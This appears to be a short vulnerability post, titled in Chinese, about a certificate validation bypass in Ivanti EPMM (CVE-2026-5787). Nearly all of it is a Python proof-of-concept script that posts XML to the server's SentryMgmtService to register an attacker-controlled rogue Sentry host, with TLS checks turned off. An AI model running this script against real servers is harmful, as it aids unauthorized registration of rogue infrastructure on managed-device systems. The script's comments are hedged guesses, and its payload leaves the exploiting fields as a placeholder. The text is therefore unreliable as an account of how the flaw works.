CVE-2026-5787 Ivanti EPMM 证书验证绕过漏洞

import requests # CVE-2026-5787 PoC Concept: Improper Certificate Validation # Targeting Ivanti EPMM Sentry impersonation target_url = "https://<target-ip>/mics/services/SentryMgmtService" # Headers to mimic a Sentry host request headers = { "User-Agent": "Sentry-Request", "Content-Type": "application/xml" } # Malicious payload attempting to register a rogue Sentry # In a real scenario, this might involve specific XML or certificate data that bypasses validation. payload = """<?xml version="1.0" encoding="UTF-8"?> <registerSentry> <hostname>attacker-controlled-host</hostname> <!-- Fields exploiting the validation bypass --> </registerSentry>""" try: # Note: In a certificate validation bypass, we might be presenting a bad cert that the server accepts. # Or we might be exploiting the endpoint to get a cert back. response = requests.post(target_url, headers=headers, data=payload, verify=False, timeout=10) if response.status_code == 200: print("[+] Request successful. Check if certificate was issued.") print("[+] Response body:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[!] An error occurred: {e}")